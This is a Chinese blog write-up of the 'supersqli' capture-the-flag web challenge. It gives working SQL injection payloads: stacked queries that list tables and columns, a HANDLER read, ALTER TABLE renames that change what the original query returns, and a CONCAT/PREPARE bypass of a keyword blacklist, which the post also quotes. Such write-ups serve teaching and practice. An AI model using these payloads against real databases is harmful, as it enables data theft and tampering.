【愚公系列】2023年05月 攻防世界-Web(supersqli)


前言

SQL注入攻击是一种常见的网络攻击方式,攻击者通过在用户输入的数据中插入恶意代码,从而获取数据库中的敏感信息或者执行未授权的操作。为了防范SQL注入攻击,我们应该在应用程序中使用参数化查询这样的安全措施来防范这种攻击。同时,我们还应该加强数据过滤和输入验证,以确保用户输入的数据符合预期的格式和类型。

一、supersqli

1.题目

在这里插入图片描述

2.答题

输入1’发现不回显,然后1’ #显示正常,判断是存在sql注入了

在这里插入图片描述
在这里插入图片描述
order by 2的时候是正常回显了,order by 3就出错了,只有2个字段,这时候用1' union select 1,2,#进行联合查询,发现关键字被正则过滤return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);好像是类似黑名单,这些词会被替换,那没办法了,我们就用堆叠注入

在这里插入图片描述
尝试堆叠注入-1';show tables #
在这里插入图片描述
查询两张表名字段

-1';show columns from `1919810931114514` #

-1';show columns from `words` #

在这里插入图片描述
在这里插入图片描述

2.1 handler查询法

-1';handler `1919810931114514` open;handler `1919810931114514` read first;#

在这里插入图片描述

2.2 修改原查询法

//修改表
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
//在查询
1' or 1=1#

知道原查询就在表words的字段id里头了

将放着flag的表1919810931114514名字改成words

alter table `1919810931114514` rename to words

表里头字段名flag改成id

在这里插入图片描述

2.3 预编译绕过法

-1';set @sql = CONCAT('sele','ct flag from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

愚公搬代码

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值